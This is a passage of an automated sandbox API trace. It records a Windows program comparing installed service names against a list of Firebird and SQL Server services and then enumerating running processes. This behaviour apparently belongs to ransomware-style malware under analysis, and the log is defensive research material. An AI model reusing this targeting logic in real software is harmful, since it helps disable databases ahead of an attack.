lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0119.349] lstrlenW (lpString="EventSystem") returned 11 [0119.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0119.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0119.349] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0119.349] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0119.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0119.349] lstrlenW (lpString="FontCache") returned 9 [0119.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0119.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0119.350] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0119.350] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0119.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0119.350] lstrlenW (lpString="gpsvc") returned 5 [0119.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0119.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0119.350] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0119.350] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0119.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0119.350] lstrlenW (lpString="iphlpsvc") returned 8 [0119.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.350] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0119.350] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0119.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0119.350] lstrlenW (lpString="KeyIso") returned 6 [0119.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0119.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0119.350] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0119.350] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0119.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0119.350] lstrlenW (lpString="LanmanServer") returned 12 [0119.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0119.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0119.350] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0119.350] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0119.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0119.350] lstrlenW (lpString="LanmanWorkstation") returned 17 [0119.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0119.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0119.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0119.351] lstrlenW (lpString="lfsvc") returned 5 [0119.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0119.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0119.351] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0119.351] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0119.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0119.351] lstrlenW (lpString="lmhosts") returned 7 [0119.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0119.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0119.351] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0119.351] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0119.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0119.351] lstrlenW (lpString="LSM") returned 3 [0119.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0119.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0119.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0119.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0119.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0119.351] lstrlenW (lpString="MapsBroker") returned 10 [0119.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0119.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0119.351] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0119.351] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0119.352] lstrlenW (lpString="MpsSvc") returned 6 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0119.352] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0119.352] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0119.352] lstrlenW (lpString="NcbService") returned 10 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0119.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0119.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0119.352] lstrlenW (lpString="netprofm") returned 8 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0119.352] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0119.352] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0119.352] lstrlenW (lpString="NlaSvc") returned 6 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0119.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0119.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0119.352] lstrlenW (lpString="nsi") returned 3 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0119.352] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0119.352] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0119.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0119.352] lstrlenW (lpString="PcaSvc") returned 6 [0119.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0119.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0119.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0119.353] lstrlenW (lpString="PlugPlay") returned 8 [0119.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0119.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0119.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0119.353] lstrlenW (lpString="Power") returned 5 [0119.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0119.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0119.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0119.353] lstrlenW (lpString="ProfSvc") returned 7 [0119.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0119.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0119.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0119.353] lstrlenW (lpString="RpcEptMapper") returned 12 [0119.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0119.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0119.353] lstrlenW (lpString="RpcSs") returned 5 [0119.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0119.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0119.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0119.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0119.354] lstrlenW (lpString="SamSs") returned 5 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0119.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0119.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0119.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0119.354] lstrlenW (lpString="Schedule") returned 8 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0119.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0119.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0119.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0119.354] lstrlenW (lpString="SecurityHealthService") returned 21 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0119.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0119.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0119.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0119.354] lstrlenW (lpString="SENS") returned 4 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0119.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0119.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0119.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0119.354] lstrlenW (lpString="ShellHWDetection") returned 16 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.354] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0119.354] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0119.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0119.354] lstrlenW (lpString="Spooler") returned 7 [0119.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0119.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0119.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0119.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0119.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0119.355] lstrlenW (lpString="SSDPSRV") returned 7 [0119.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0119.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0119.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0119.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0119.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0119.355] lstrlenW (lpString="StateRepository") returned 15 [0119.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0119.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0119.355] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0119.355] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0119.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0119.355] lstrlenW (lpString="SysMain") returned 7 [0119.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0119.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0119.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0119.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0119.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0119.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0119.366] Process32FirstW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.367] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.368] lstrlenW (lpString="System") returned 6 [0119.368] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.369] lstrlenW (lpString="smss.exe") returned 8 [0119.369] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.370] lstrlenW (lpString="csrss.exe") returned 9 [0119.370] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.370] lstrlenW (lpString="wininit.exe") returned 11 [0119.371] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.371] lstrlenW (lpString="csrss.exe") returned 9 [0119.372] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.376] lstrlenW (lpString="winlogon.exe") returned 12 [0119.376] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.377] lstrlenW (lpString="services.exe") returned 12 [0119.377] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.378] lstrlenW (lpString="lsass.exe") returned 9 [0119.378] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.379] lstrlenW (lpString="svchost.exe") returned 11 [0119.379] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0119.380] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0119.380] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0119.381] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0119.381] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.382] lstrlenW (lpString="svchost.exe") returned 11 [0119.382] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.383] lstrlenW (lpString="dwm.exe") returned 7 [0119.383] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.384] lstrlenW (lpString="svchost.exe") returned 11 [0119.384] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.385] lstrlenW (lpString="svchost.exe") returned 11 [0119.385] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.386] lstrlenW (lpString="svchost.exe") returned 11 [0119.386] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.387] lstrlenW (lpString="svchost.exe") returned 11 [0119.387] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.389] lstrlenW (lpString="svchost.exe") returned 11 [0119.389] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.390] lstrlenW (lpString="svchost.exe") returned 11 [0119.390] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.391] lstrlenW (lpString="svchost.exe") returned 11 [0119.391] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.391] lstrlenW (lpString="svchost.exe") returned 11 [0119.391] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.392] lstrlenW (lpString="svchost.exe") returned 11 [0119.392] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.393] lstrlenW (lpString="spoolsv.exe") returned 11 [0119.393] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.393] lstrlenW (lpString="svchost.exe") returned 11 [0119.393] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.394] lstrlenW (lpString="svchost.exe") returned 11 [0119.394] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.395] lstrlenW (lpString="audiodg.exe") returned 11 [0119.395] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0119.395] lstrlenW (lpString="sihost.exe") returned 10 [0119.396] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.396] lstrlenW (lpString="svchost.exe") returned 11 [0119.396] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.397] lstrlenW (lpString="taskhostw.exe") returned 13 [0119.397] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0119.398] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0119.398] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0119.398] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0119.398] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | 